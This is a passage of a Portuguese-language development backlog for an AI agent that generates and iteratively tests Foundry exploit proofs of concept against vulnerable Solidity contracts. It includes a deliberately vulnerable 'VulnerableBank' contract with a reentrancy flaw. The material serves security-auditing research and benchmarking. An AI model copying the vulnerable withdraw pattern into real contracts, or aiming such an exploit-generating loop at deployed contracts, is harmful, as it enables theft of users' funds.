forge init --no-git --quiet
|
| 670 |
-
forge install foundry-rs/forge-std --no-git --quiet
|
| 671 |
-
|
| 672 |
-
cat > foundry.toml << 'EOF'
|
| 673 |
-
[profile.default]
|
| 674 |
-
src = "src"
|
| 675 |
-
test = "test"
|
| 676 |
-
out = "out"
|
| 677 |
-
libs = ["lib"]
|
| 678 |
-
solc-version = "0.8.20"
|
| 679 |
-
EOF
|
| 680 |
-
|
| 681 |
-
# Remover o contrato e teste de exemplo do forge init
|
| 682 |
-
rm -f src/Counter.sol test/Counter.t.sol
|
| 683 |
-
|
| 684 |
-
echo "Sandbox pronto. Testando com forge build..."
|
| 685 |
-
forge build
|
| 686 |
-
echo "OK — sandbox funcionando em $SANDBOX"
|
| 687 |
-
```
|
| 688 |
-
|
| 689 |
-
**Critérios de aceitação**
|
| 690 |
-
- [ ] Script roda sem erros em máquina com Foundry instalado (`forge --version`)
|
| 691 |
-
- [ ] `forge build` dentro de `/tmp/poc-sandbox` tem sucesso após o script
|
| 692 |
-
- [ ] Diretório `test/` existe e está vazio (pronto para receber `Exploit.t.sol`)
|
| 693 |
-
- [ ] `forge-std` instalado corretamente (import `"forge-std/Test.sol"` funciona)
|
| 694 |
-
|
| 695 |
-
**Como testar**
|
| 696 |
-
```bash
|
| 697 |
-
chmod +x scripts/setup-sandbox.sh
|
| 698 |
-
./scripts/setup-sandbox.sh
|
| 699 |
-
echo "// SPDX-License-Identifier: UNLICENSED
|
| 700 |
-
pragma solidity ^0.8.20;
|
| 701 |
-
import 'forge-std/Test.sol';
|
| 702 |
-
contract SmokeTest is Test {
|
| 703 |
-
function test_ok() public { assertTrue(true); }
|
| 704 |
-
}" > /tmp/poc-sandbox/test/Smoke.t.sol
|
| 705 |
-
cd /tmp/poc-sandbox && forge test
|
| 706 |
-
```
|
| 707 |
-
|
| 708 |
-
---
|
| 709 |
-
|
| 710 |
-
### TALP-2.5 — Implementar `foundryRunner`
|
| 711 |
-
|
| 712 |
-
| Campo | Valor |
|
| 713 |
-
|-------|-------|
|
| 714 |
-
| **Tipo** | Implementação |
|
| 715 |
-
| **Prioridade** | Crítica |
|
| 716 |
-
| **Estimativa** | 2h |
|
| 717 |
-
| **Depende de** | TALP-2.4 |
|
| 718 |
-
|
| 719 |
-
**Descrição**
|
| 720 |
-
Módulo que escreve o código Solidity no sandbox, executa `forge test` via `child_process` e retorna o resultado estruturado. Nunca lança erro — sempre retorna `FoundryResult`.
|
| 721 |
-
|
| 722 |
-
**Arquivos a criar**
|
| 723 |
-
```
|
| 724 |
-
src/agents/poc-generator/tools/foundryRunner.ts
|
| 725 |
-
```
|
| 726 |
-
|
| 727 |
-
**Implementação**
|
| 728 |
-
```typescript
|
| 729 |
-
import { exec } from "child_process";
|
| 730 |
-
import { promisify } from "util";
|
| 731 |
-
import { writeFile } from "fs/promises";
|
| 732 |
-
|
| 733 |
-
const execAsync = promisify(exec);
|
| 734 |
-
const SANDBOX = "/tmp/poc-sandbox";
|
| 735 |
-
const TIMEOUT_MS = 60_000;
|
| 736 |
-
|
| 737 |
-
export interface FoundryResult {
|
| 738 |
-
exitCode: number;
|
| 739 |
-
stdout: string;
|
| 740 |
-
stderr: string;
|
| 741 |
-
combined: string;
|
| 742 |
-
timedOut: boolean;
|
| 743 |
-
}
|
| 744 |
-
|
| 745 |
-
export async function runFoundry(solidityCode: string): Promise<FoundryResult> {
|
| 746 |
-
// Escrever o arquivo no sandbox
|
| 747 |
-
await writeFile(`${SANDBOX}/test/Exploit.t.sol`, solidityCode, "utf-8");
|
| 748 |
-
|
| 749 |
-
try {
|
| 750 |
-
const { stdout, stderr } = await execAsync(
|
| 751 |
-
"forge test --match-contract ExploitTest -vvvv",
|
| 752 |
-
{ cwd: SANDBOX, timeout: TIMEOUT_MS, env: { ...process.env } }
|
| 753 |
-
);
|
| 754 |
-
return {
|
| 755 |
-
exitCode: 0,
|
| 756 |
-
stdout,
|
| 757 |
-
stderr,
|
| 758 |
-
combined: `STDOUT:\n${stdout}\nSTDERR:\n${stderr}`,
|
| 759 |
-
timedOut: false,
|
| 760 |
-
};
|
| 761 |
-
} catch (err: any) {
|
| 762 |
-
if (err.killed || err.signal === "SIGTERM") {
|
| 763 |
-
return {
|
| 764 |
-
exitCode: -1, stdout: "", stderr: "Forge timed out",
|
| 765 |
-
combined: `TIMEOUT após ${TIMEOUT_MS / 1000}s`,
|
| 766 |
-
timedOut: true,
|
| 767 |
-
};
|
| 768 |
-
}
|
| 769 |
-
return {
|
| 770 |
-
exitCode: err.code ?? 1,
|
| 771 |
-
stdout: err.stdout ?? "",
|
| 772 |
-
stderr: err.stderr ?? "",
|
| 773 |
-
combined: `STDOUT:\n${err.stdout ?? ""}\nSTDERR:\n${err.stderr ?? ""}`,
|
| 774 |
-
timedOut: false,
|
| 775 |
-
};
|
| 776 |
-
}
|
| 777 |
-
}
|
| 778 |
-
```
|
| 779 |
-
|
| 780 |
-
**Critérios de aceitação**
|
| 781 |
-
- [ ] Detecta test pass: `exitCode === 0` + stdout contém `"ok"`
|
| 782 |
-
- [ ] Detecta compiler error: `exitCode !== 0` + stderr contém `"Compiler run failed"`
|
| 783 |
-
- [ ] Detecta timeout: `timedOut === true`, processo morto após 60s
|
| 784 |
-
- [ ] Nunca lança exceção — sempre retorna `FoundryResult`
|
| 785 |
-
- [ ] `combined` contém stdout e stderr separados por label
|
| 786 |
-
|
| 787 |
-
**Como testar**
|
| 788 |
-
```typescript
|
| 789 |
-
// tests/unit/foundryRunner.test.ts
|
| 790 |
-
import { runFoundry } from "../../src/agents/poc-generator/tools/foundryRunner";
|
| 791 |
-
|
| 792 |
-
// Caso 1: código válido que passa
|
| 793 |
-
const validCode = `// SPDX-License-Identifier: UNLICENSED
|
| 794 |
-
pragma solidity ^0.8.20;
|
| 795 |
-
import "forge-std/Test.sol";
|
| 796 |
-
contract ExploitTest is Test {
|
| 797 |
-
function setUp() public {}
|
| 798 |
-
function test_Exploit() public { assertTrue(true); }
|
| 799 |
-
}`;
|
| 800 |
-
const r1 = await runFoundry(validCode);
|
| 801 |
-
console.assert(r1.exitCode === 0, "Deveria passar");
|
| 802 |
-
console.assert(r1.stdout.includes("ok"), "Deveria ter 'ok' no stdout");
|
| 803 |
-
|
| 804 |
-
// Caso 2: código com erro de compilação
|
| 805 |
-
const invalidCode = `pragma solidity ^0.8.20; contract Bad { function foo( }`;
|
| 806 |
-
const r2 = await runFoundry(invalidCode);
|
| 807 |
-
console.assert(r2.exitCode !== 0, "Deveria falhar");
|
| 808 |
-
console.assert(r2.stderr.includes("Error") || r2.combined.includes("Error"), "Deveria ter erro");
|
| 809 |
-
|
| 810 |
-
console.log("foundryRunner OK");
|
| 811 |
-
```
|
| 812 |
-
|
| 813 |
-
---
|
| 814 |
-
|
| 815 |
-
### TALP-2.6 — Implementar `logAnalyzer`
|
| 816 |
-
|
| 817 |
-
| Campo | Valor |
|
| 818 |
-
|-------|-------|
|
| 819 |
-
| **Tipo** | Implementação |
|
| 820 |
-
| **Prioridade** | Alta |
|
| 821 |
-
| **Estimativa** | 2h |
|
| 822 |
-
| **Depende de** | TALP-2.5 |
|
| 823 |
-
|
| 824 |
-
**Descrição**
|
| 825 |
-
Módulo que lê o output bruto do `forge test` e produz um resumo legível em linguagem natural para o LLM. Classifica o erro em uma de 5 categorias.
|
| 826 |
-
|
| 827 |
-
**Arquivos a criar**
|
| 828 |
-
```
|
| 829 |
-
src/agents/poc-generator/utils/logAnalyzer.ts
|
| 830 |
-
```
|
| 831 |
-
|
| 832 |
-
**Implementação**
|
| 833 |
-
```typescript
|
| 834 |
-
import { FoundryResult } from "../tools/foundryRunner";
|
| 835 |
-
|
| 836 |
-
export type ErrorCategory =
|
| 837 |
-
| "compiler_error"
|
| 838 |
-
| "revert_no_message"
|
| 839 |
-
| "revert_with_message"
|
| 840 |
-
| "assertion_failed"
|
| 841 |
-
| "timeout"
|
| 842 |
-
| "unknown";
|
| 843 |
-
|
| 844 |
-
export interface LogAnalysis {
|
| 845 |
-
category: ErrorCategory;
|
| 846 |
-
summary: string; // 1-2 frases em linguagem natural para o LLM
|
| 847 |
-
relevantLines: string[]; // máx 10 linhas do log original
|
| 848 |
-
}
|
| 849 |
-
|
| 850 |
-
export function analyzeFoundryLog(result: FoundryResult): LogAnalysis {
|
| 851 |
-
if (result.timedOut) return {
|
| 852 |
-
category: "timeout",
|
| 853 |
-
summary: "Forge excedeu 60s. O exploit pode ter entrado em loop infinito ou a lógica está bloqueante.",
|
| 854 |
-
relevantLines: [],
|
| 855 |
-
};
|
| 856 |
-
|
| 857 |
-
if (result.combined.includes("Compiler run failed")) {
|
| 858 |
-
const lines = result.combined.split("\n")
|
| 859 |
-
.filter(l => l.includes("Error") || l.includes("error") || l.includes("-->"))
|
| 860 |
-
.slice(0, 10);
|
| 861 |
-
return {
|
| 862 |
-
category: "compiler_error",
|
| 863 |
-
summary: "Erro de compilação Solidity. Verifique: interfaces faltando, assinaturas incorretas, tipos incompatíveis.",
|
| 864 |
-
relevantLines: lines,
|
| 865 |
-
};
|
| 866 |
-
}
|
| 867 |
-
|
| 868 |
-
if (result.combined.includes("FAIL")) {
|
| 869 |
-
const revertReason = result.combined.match(/revert: (.+)/)?.[1];
|
| 870 |
-
const assertionFail = result.combined.includes("Assertion Failed") || result.combined.includes("assertion failed");
|
| 871 |
-
|
| 872 |
-
if (assertionFail) return {
|
| 873 |
-
category: "assertion_failed",
|
| 874 |
-
summary: "O exploit executou mas a assertion final falhou — o atacante não obteve o resultado esperado.",
|
| 875 |
-
relevantLines: result.combined.split("\n")
|
| 876 |
-
.filter(l => l.includes("assertion") || l.includes("FAIL")).slice(0, 10),
|
| 877 |
-
};
|
| 878 |
-
|
| 879 |
-
if (revertReason) return {
|
| 880 |
-
category: "revert_with_message",
|
| 881 |
-
summary: `Transação reverteu com: "${revertReason}". O contrato rejeitou a operação.`,
|
| 882 |
-
relevantLines: [revertReason],
|
| 883 |
-
};
|
| 884 |
-
|
| 885 |
-
return {
|
| 886 |
-
category: "revert_no_message",
|
| 887 |
-
summary: "Transação reverteu sem mensagem. Verifique a ordem das chamadas, permissões e estado do contrato.",
|
| 888 |
-
relevantLines: result.combined.split("\n")
|
| 889 |
-
.filter(l => l.includes("revert") || l.includes("FAIL")).slice(0, 5),
|
| 890 |
-
};
|
| 891 |
-
}
|
| 892 |
-
|
| 893 |
-
return {
|
| 894 |
-
category: "unknown",
|
| 895 |
-
summary: "Erro desconhecido. Revisar output completo do forge.",
|
| 896 |
-
relevantLines: result.combined.split("\n").slice(0, 10),
|
| 897 |
-
};
|
| 898 |
-
}
|
| 899 |
-
```
|
| 900 |
-
|
| 901 |
-
**Critérios de aceitação**
|
| 902 |
-
- [ ] Classifica `compiler_error` quando stderr contém `"Compiler run failed"`
|
| 903 |
-
- [ ] Classifica `assertion_failed` quando stdout contém `"FAIL"` + `"Assertion Failed"`
|
| 904 |
-
- [ ] Classifica `revert_with_message` quando há `revert: <mensagem>`
|
| 905 |
-
- [ ] `relevantLines` nunca tem mais de 10 linhas
|
| 906 |
-
- [ ] `summary` é sempre linguagem natural (não reproduz stack trace bruto)
|
| 907 |
-
|
| 908 |
-
**Como testar**
|
| 909 |
-
```typescript
|
| 910 |
-
// tests/unit/logAnalyzer.test.ts
|
| 911 |
-
import { analyzeFoundryLog } from "../../src/agents/poc-generator/utils/logAnalyzer";
|
| 912 |
-
|
| 913 |
-
const compilerError = { exitCode: 1, timedOut: false, stdout: "", stderr: "Compiler run failed\nError: ...\n--> src/A.sol:10:5", combined: "STDOUT:\n\nSTDERR:\nCompiler run failed\nError: ...\n--> src/A.sol:10:5" };
|
| 914 |
-
const r1 = analyzeFoundryLog(compilerError as any);
|
| 915 |
-
console.assert(r1.category === "compiler_error", "Caso 1 falhou");
|
| 916 |
-
console.assert(r1.relevantLines.length <= 10, "Muitas linhas");
|
| 917 |
-
|
| 918 |
-
const timeout = { exitCode: -1, timedOut: true, stdout: "", stderr: "", combined: "TIMEOUT" };
|
| 919 |
-
const r2 = analyzeFoundryLog(timeout as any);
|
| 920 |
-
console.assert(r2.category === "timeout", "Caso timeout falhou");
|
| 921 |
-
|
| 922 |
-
console.log("logAnalyzer OK");
|
| 923 |
-
```
|
| 924 |
-
|
| 925 |
-
---
|
| 926 |
-
|
| 927 |
-
### TALP-2.7 — Implementar `reflectNode`
|
| 928 |
-
|
| 929 |
-
| Campo | Valor |
|
| 930 |
-
|-------|-------|
|
| 931 |
-
| **Tipo** | Implementação |
|
| 932 |
-
| **Prioridade** | Alta |
|
| 933 |
-
| **Estimativa** | 2h |
|
| 934 |
-
| **Depende de** | TALP-2.6 |
|
| 935 |
-
|
| 936 |
-
**Descrição**
|
| 937 |
-
Node que usa o `logAnalyzer` para produzir um `lastError` estruturado e legível. Este valor é passado para o `generatePoCNode` no retry, orientando o LLM sobre o que corrigir.
|
| 938 |
-
|
| 939 |
-
**Arquivos a modificar**
|
| 940 |
-
```
|
| 941 |
-
src/agents/poc-generator/agent.ts ← substituir stub do reflectNode
|
| 942 |
-
```
|
| 943 |
-
|
| 944 |
-
**Implementação**
|
| 945 |
-
```typescript
|
| 946 |
-
import { analyzeFoundryLog } from "./utils/logAnalyzer";
|
| 947 |
-
|
| 948 |
-
async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 949 |
-
// Pegar o último log de execução
|
| 950 |
-
const lastLog = state.executionLogs[state.executionLogs.length - 1];
|
| 951 |
-
if (!lastLog) {
|
| 952 |
-
return { lastError: "Sem logs disponíveis para análise." };
|
| 953 |
-
}
|
| 954 |
-
|
| 955 |
-
// Reconstruir FoundryResult mínimo a partir do log combinado
|
| 956 |
-
const mockResult = {
|
| 957 |
-
exitCode: 1, timedOut: lastLog.includes("TIMEOUT"),
|
| 958 |
-
stdout: "", stderr: "", combined: lastLog,
|
| 959 |
-
};
|
| 960 |
-
|
| 961 |
-
const analysis = analyzeFoundryLog(mockResult as any);
|
| 962 |
-
|
| 963 |
-
console.log(`[reflectNode] categoria: ${analysis.category}`);
|
| 964 |
-
console.log(`[reflectNode] resumo: ${analysis.summary}`);
|
| 965 |
-
|
| 966 |
-
return {
|
| 967 |
-
lastError: `[${analysis.category.toUpperCase()}] ${analysis.summary}\n\nLinhas relevantes:\n${analysis.relevantLines.join("\n")}`,
|
| 968 |
-
};
|
| 969 |
-
}
|
| 970 |
-
```
|
| 971 |
-
|
| 972 |
-
**Critérios de aceitação**
|
| 973 |
-
- [ ] `lastError` sempre é uma string não-vazia após o node
|
| 974 |
-
- [ ] `lastError` inclui a categoria do erro entre colchetes
|
| 975 |
-
- [ ] `lastError` inclui as linhas relevantes do log (não o log inteiro)
|
| 976 |
-
- [ ] Node não trava se `executionLogs` estiver vazio
|
| 977 |
-
|
| 978 |
-
---
|
| 979 |
-
|
| 980 |
-
### TALP-2.8 — Implementar router condicional e fechar o loop
|
| 981 |
-
|
| 982 |
-
| Campo | Valor |
|
| 983 |
-
|-------|-------|
|
| 984 |
-
| **Tipo** | Implementação |
|
| 985 |
-
| **Prioridade** | Crítica |
|
| 986 |
-
| **Estimativa** | 2h |
|
| 987 |
-
| **Depende de** | TALP-2.3, TALP-2.5, TALP-2.7 |
|
| 988 |
-
|
| 989 |
-
**Descrição**
|
| 990 |
-
Substituir as edges fixas do grafo por edges condicionais que implementam o loop ReAct. Atualizar o `runFoundryNode` real e conectar tudo.
|
| 991 |
-
|
| 992 |
-
**Arquivos a modificar**
|
| 993 |
-
```
|
| 994 |
-
src/agents/poc-generator/agent.ts ← refatorar grafo completo
|
| 995 |
-
```
|
| 996 |
-
|
| 997 |
-
**Implementação**
|
| 998 |
-
```typescript
|
| 999 |
-
const MAX_ITERATIONS = 5;
|
| 1000 |
-
|
| 1001 |
-
function routeAfterFoundry(state: PoCState): "reflectNode" | "__end__" {
|
| 1002 |
-
if (state.status === "success") return "__end__";
|
| 1003 |
-
if (state.status === "timeout") return "__end__";
|
| 1004 |
-
if (state.iterations >= MAX_ITERATIONS) return "__end__";
|
| 1005 |
-
return "reflectNode";
|
| 1006 |
-
}
|
| 1007 |
-
|
| 1008 |
-
async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
|
| 1009 |
-
const result = await runFoundry(state.pocCode);
|
| 1010 |
-
const analysis = analyzeFoundryLog(result);
|
| 1011 |
-
const passed = result.exitCode === 0 && result.stdout.includes("ok");
|
| 1012 |
-
|
| 1013 |
-
console.log(`[runFoundryNode] exitCode=${result.exitCode}, passed=${passed}`);
|
| 1014 |
-
|
| 1015 |
-
return {
|
| 1016 |
-
executionLogs: [result.combined], // reducer append
|
| 1017 |
-
lastError: analysis.summary,
|
| 1018 |
-
status: passed ? "success"
|
| 1019 |
-
: result.timedOut ? "timeout"
|
| 1020 |
-
: "running",
|
| 1021 |
-
};
|
| 1022 |
-
}
|
| 1023 |
-
|
| 1024 |
-
// Grafo final com loop ReAct
|
| 1025 |
-
const graph = new StateGraph(PoCStateAnnotation)
|
| 1026 |
-
.addNode("oracleNode", oracleNode)
|
| 1027 |
-
.addNode("generatePoCNode", generatePoCNode)
|
| 1028 |
-
.addNode("runFoundryNode", runFoundryNode)
|
| 1029 |
-
.addNode("reflectNode", reflectNode)
|
| 1030 |
-
.addEdge(START, "oracleNode")
|
| 1031 |
-
.addEdge("oracleNode", "generatePoCNode")
|
| 1032 |
-
.addEdge("generatePoCNode", "runFoundryNode")
|
| 1033 |
-
.addConditionalEdges("runFoundryNode", routeAfterFoundry, {
|
| 1034 |
-
reflectNode: "reflectNode",
|
| 1035 |
-
__end__: END,
|
| 1036 |
-
})
|
| 1037 |
-
.addEdge("reflectNode", "generatePoCNode"); // fecha o loop
|
| 1038 |
-
|
| 1039 |
-
export const pocGeneratorAgent = graph.compile();
|
| 1040 |
-
```
|
| 1041 |
-
|
| 1042 |
-
**Critérios de aceitação**
|
| 1043 |
-
- [ ] Loop executa ≥2 iterações quando a primeira tentativa falha
|
| 1044 |
-
- [ ] Para em `END` quando `status === "success"`
|
| 1045 |
-
- [ ] Para em `END` quando `iterations >= 5` (mesmo sem sucesso)
|
| 1046 |
-
- [ ] Para em `END` quando `status === "timeout"`
|
| 1047 |
-
- [ ] `executionLogs` tem uma entrada por iteração ao final
|
| 1048 |
-
|
| 1049 |
-
**Gate da Semana 2:** Rodar o agente com o `VulnerableBank` e confirmar que o loop executa ≥2 iterações e melhora o código após erro de compilação.
|
| 1050 |
-
|
| 1051 |
-
---
|
| 1052 |
-
|
| 1053 |
-
## SEMANA 3 — Integração, Smoke Test & Avaliação
|
| 1054 |
-
|
| 1055 |
-
---
|
| 1056 |
-
|
| 1057 |
-
### TALP-3.1 — Interface pública do agente
|
| 1058 |
-
|
| 1059 |
-
| Campo | Valor |
|
| 1060 |
-
|-------|-------|
|
| 1061 |
-
| **Tipo** | Implementação |
|
| 1062 |
-
| **Prioridade** | Alta |
|
| 1063 |
-
| **Estimativa** | 1h |
|
| 1064 |
-
| **Depende de** | TALP-2.8 |
|
| 1065 |
-
|
| 1066 |
-
**Descrição**
|
| 1067 |
-
Criar o entry point público que o restante do sistema (Agente Auditor) usará para invocar o Agente de PoCs.
|
| 1068 |
-
|
| 1069 |
-
**Arquivos a criar**
|
| 1070 |
-
```
|
| 1071 |
-
src/agents/poc-generator/index.ts
|
| 1072 |
-
```
|
| 1073 |
-
|
| 1074 |
-
**Implementação**
|
| 1075 |
-
```typescript
|
| 1076 |
-
import { pocGeneratorAgent } from "./agent";
|
| 1077 |
-
import { VulnerabilityReport, PoCResult } from "./types";
|
| 1078 |
-
|
| 1079 |
-
export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
|
| 1080 |
-
console.log(`[runPoCGenerator] iniciando para: ${report.id} — ${report.title}`);
|
| 1081 |
-
|
| 1082 |
-
const finalState = await pocGeneratorAgent.invoke({ report });
|
| 1083 |
-
|
| 1084 |
-
const result: PoCResult = {
|
| 1085 |
-
reportId: report.id,
|
| 1086 |
-
status: finalState.status === "running" ? "failed" : finalState.status,
|
| 1087 |
-
solidityCode: finalState.pocCode,
|
| 1088 |
-
executionLogs: finalState.executionLogs,
|
| 1089 |
-
iterations: finalState.iterations,
|
| 1090 |
-
};
|
| 1091 |
-
|
| 1092 |
-
console.log(`[runPoCGenerator] concluído — status=${result.status}, iterações=${result.iterations}`);
|
| 1093 |
-
return result;
|
| 1094 |
-
}
|
| 1095 |
-
|
| 1096 |
-
export type { VulnerabilityReport, PoCResult };
|
| 1097 |
-
```
|
| 1098 |
-
|
| 1099 |
-
**Critérios de aceitação**
|
| 1100 |
-
- [ ] Nunca lança exceção — retorna `PoCResult` em qualquer cenário
|
| 1101 |
-
- [ ] `status` nunca é `"running"` no resultado final (mapeia para `"failed"`)
|
| 1102 |
-
- [ ] Tipos exportados batem com o contrato esperado pelo Agente Auditor
|
| 1103 |
-
|
| 1104 |
-
---
|
| 1105 |
-
|
| 1106 |
-
### TALP-3.2 — Smoke test end-to-end com reentrancy
|
| 1107 |
-
|
| 1108 |
-
| Campo | Valor |
|
| 1109 |
-
|-------|-------|
|
| 1110 |
-
| **Tipo** | Teste |
|
| 1111 |
-
| **Prioridade** | Crítica |
|
| 1112 |
-
| **Estimativa** | 3h |
|
| 1113 |
-
| **Depende de** | TALP-3.1 |
|
| 1114 |
-
|
| 1115 |
-
**Descrição**
|
| 1116 |
-
Validar o pipeline completo com um contrato vulnerável simples de reentrancy escrito manualmente. Este teste não depende de dataset externo.
|
| 1117 |
-
|
| 1118 |
-
**Arquivos a criar**
|
| 1119 |
-
```
|
| 1120 |
-
tests/e2e/poc-generator.test.ts
|
| 1121 |
-
```
|
| 1122 |
-
|
| 1123 |
-
**Implementação**
|
| 1124 |
-
```typescript
|
| 1125 |
-
import { runPoCGenerator } from "../../src/agents/poc-generator";
|
| 1126 |
-
import { VulnerabilityReport } from "../../src/agents/poc-generator/types";
|
| 1127 |
-
|
| 1128 |
-
const VULNERABLE_BANK = `
|
| 1129 |
-
pragma solidity ^0.8.20;
|
| 1130 |
-
contract VulnerableBank {
|
| 1131 |
-
mapping(address => uint) public balances;
|
| 1132 |
-
function deposit() external payable { balances[msg.sender] += msg.value; }
|
| 1133 |
-
function withdraw() external {
|
| 1134 |
-
uint amount = balances[msg.sender];
|
| 1135 |
-
(bool ok,) = msg.sender.call{value: amount}("");
|
| 1136 |
-
require(ok);
|
| 1137 |
-
balances[msg.sender] = 0; // atualiza DEPOIS — reentrancy
|
| 1138 |
-
}
|
| 1139 |
-
receive() external payable {}
|
| 1140 |
-
}`.trim();
|
| 1141 |
-
|
| 1142 |
-
const mockReport: VulnerabilityReport = {
|
| 1143 |
-
id: "e2e-reentrancy-001",
|
| 1144 |
-
severity: "critical",
|
| 1145 |
-
type: "reentrancy",
|
| 1146 |
-
title: "Reentrancy em withdraw()",
|
| 1147 |
-
description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
|
| 1148 |
-
affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
|
| 1149 |
-
attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
|
| 1150 |
-
suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
|
| 1151 |
-
};
|
| 1152 |
-
|
| 1153 |
-
async function runE2ETest() {
|
| 1154 |
-
console.log("Iniciando smoke test end-to-end...");
|
| 1155 |
-
const result = await runPoCGenerator(mockReport);
|
| 1156 |
-
|
| 1157 |
-
console.log(`Status: ${result.status}`);
|
| 1158 |
-
console.log(`Iterações: ${result.iterations}`);
|
| 1159 |
-
console.log(`Logs: ${result.executionLogs.length} entrada(s)`);
|
| 1160 |
-
|
| 1161 |
-
console.assert(result.status === "success", `FALHOU: status esperado 'success', recebido '${result.status}'`);
|
| 1162 |
-
console.assert(result.iterations <= 5, `FALHOU: muitas iterações (${result.iterations})`);
|
| 1163 |
-
console.assert(result.solidityCode.includes("test_Exploit"), "FALHOU: código não contém test_Exploit");
|
| 1164 |
-
|
| 1165 |
-
console.log("Smoke test PASSOU");
|
| 1166 |
-
return result;
|
| 1167 |
-
}
|
| 1168 |
-
|
| 1169 |
-
runE2ETest().catch(console.error);
|
| 1170 |
-
```
|
| 1171 |
-
|
| 1172 |
-
**Critérios de aceitação**
|
| 1173 |
-
- [ ] `result.status === "success"`
|
| 1174 |
-
- [ ] `result.iterations <= 5`
|
| 1175 |
-
- [ ] `result.solidityCode` contém `test_Exploit`
|
| 1176 |
-
- [ ] Teste completo roda em menos de 3 minutos
|
| 1177 |
-
- [ ] Não requer variável `MAINNET_RPC_URL` (contrato é local)
|
| 1178 |
-
|
| 1179 |
-
**Como executar**
|
| 1180 |
-
```bash
|
| 1181 |
-
OPENROUTER_API_KEY=sk-... npx ts-node tests/e2e/poc-generator.test.ts
|
| 1182 |
-
```
|
| 1183 |
-
|
| 1184 |
-
---
|
| 1185 |
-
|
| 1186 |
-
### TALP-3.3 — Preparar dataset de benchmark
|
| 1187 |
-
|
| 1188 |
-
| Campo | Valor |
|
| 1189 |
-
|-------|-------|
|
| 1190 |
-
| **Tipo** | Dados |
|
| 1191 |
-
| **Prioridade** | Alta |
|
| 1192 |
-
| **Estimativa** | 3h |
|
| 1193 |
-
| **Depende de** | — |
|
| 1194 |
-
|
| 1195 |
-
**Descrição**
|
| 1196 |
-
Selecionar ≥5 casos reais do dataset **Proof-of-Patch** (ASSERT-KTH) e montar o `benchmark.json`. Priorizar: reentrancy, access control bypass, integer overflow.
|
| 1197 |
-
|
| 1198 |
-
**Arquivos a criar**
|
| 1199 |
-
```
|
| 1200 |
-
data/benchmark.json
|
| 1201 |
-
```
|
| 1202 |
-
|
| 1203 |
-
**Formato**
|
| 1204 |
-
```json
|
| 1205 |
-
[
|
| 1206 |
-
{
|
| 1207 |
-
"id": "bench-001",
|
| 1208 |
-
"vulnerability": "Reentrancy em withdraw()",
|
| 1209 |
-
"type": "reentrancy",
|
| 1210 |
-
"severity": "critical",
|
| 1211 |
-
"contractName": "VulnerableBank",
|
| 1212 |
-
"sourceCode": "pragma solidity ^0.8.20; ...",
|
| 1213 |
-
"attackVector": "Contrato atacante com fallback reentrant",
|
| 1214 |
-
"source": "Proof-of-Patch / ASSERT-KTH",
|
| 1215 |
-
"referencePoC": "disponível no repositório ASSERT-KTH/Proof-of-Patch"
|
| 1216 |
-
}
|
| 1217 |
-
]
|
| 1218 |
-
```
|
| 1219 |
-
|
| 1220 |
-
**Critérios de aceitação**
|
| 1221 |
-
- [ ] ≥5 entradas com `sourceCode` completo e compilável
|
| 1222 |
-
- [ ] Cobre pelo menos 3 tipos de vulnerabilidade diferentes
|
| 1223 |
-
- [ ] Cada entrada tem `attackVector` descrito
|
| 1224 |
-
- [ ] Todos os contratos compilam com `forge build` (verificar antes de incluir)
|
| 1225 |
-
|
| 1226 |
-
---
|
| 1227 |
-
|
| 1228 |
-
### TALP-3.4 — Script de avaliação em batch
|
| 1229 |
-
|
| 1230 |
-
| Campo | Valor |
|
| 1231 |
-
|-------|-------|
|
| 1232 |
-
| **Tipo** | Avaliação |
|
| 1233 |
-
| **Prioridade** | Alta |
|
| 1234 |
-
| **Estimativa** | 2h |
|
| 1235 |
-
| **Depende de** | TALP-3.1, TALP-3.3 |
|
| 1236 |
-
|
| 1237 |
-
**Descrição**
|
| 1238 |
-
Script que roda o agente sobre todos os casos do benchmark e reporta a taxa de sucesso. Um caso que falha não interrompe o batch.
|
| 1239 |
-
|
| 1240 |
-
**Arquivos a criar**
|
| 1241 |
-
```
|
| 1242 |
-
scripts/evaluate.ts
|
| 1243 |
-
data/eval-results.json ← gerado pelo script
|
| 1244 |
-
```
|
| 1245 |
-
|
| 1246 |
-
**Implementação**
|
| 1247 |
-
```typescript
|
| 1248 |
-
import { readFileSync, writeFileSync } from "fs";
|
| 1249 |
-
import { runPoCGenerator } from "../src/agents/poc-generator";
|
| 1250 |
-
|
| 1251 |
-
interface BenchmarkCase {
|
| 1252 |
-
id: string; vulnerability: string; type: string; severity: string;
|
| 1253 |
-
contractName: string; sourceCode: string; attackVector: string;
|
| 1254 |
-
}
|
| 1255 |
-
|
| 1256 |
-
interface EvalResult {
|
| 1257 |
-
id: string; status: string; iterations: number;
|
| 1258 |
-
passed: boolean; durationMs: number;
|
| 1259 |
-
}
|
| 1260 |
-
|
| 1261 |
-
async function main() {
|
| 1262 |
-
const dataset: BenchmarkCase[] = JSON.parse(readFileSync("data/benchmark.json", "utf-8"));
|
| 1263 |
-
const results: EvalResult[] = [];
|
| 1264 |
-
|
| 1265 |
-
console.log(`Iniciando avaliação — ${dataset.length} caso(s)\n`);
|
| 1266 |
-
|
| 1267 |
-
for (const item of dataset) {
|
| 1268 |
-
const start = Date.now();
|
| 1269 |
-
console.log(`[${item.id}] Rodando: ${item.vulnerability}...`);
|
| 1270 |
-
|
| 1271 |
-
try {
|
| 1272 |
-
const result = await runPoCGenerator({
|
| 1273 |
-
id: item.id, severity: item.severity as any, type: item.type,
|
| 1274 |
-
title: item.vulnerability, description: item.vulnerability,
|
| 1275 |
-
affectedContract: { name: item.contractName, sourceCode: item.sourceCode },
|
| 1276 |
-
attackVector: item.attackVector,
|
| 1277 |
-
});
|
| 1278 |
-
const dur = Date.now() - start;
|
| 1279 |
-
results.push({ id: item.id, status: result.status, iterations: result.iterations, passed: result.status === "success", durationMs: dur });
|
| 1280 |
-
console.log(` → ${result.status} em ${result.iterations} iter(s), ${(dur/1000).toFixed(1)}s`);
|
| 1281 |
-
} catch (err) {
|
| 1282 |
-
const dur = Date.now() - start;
|
| 1283 |
-
results.push({ id: item.id, status: "error", iterations: 0, passed: false, durationMs: dur });
|
| 1284 |
-
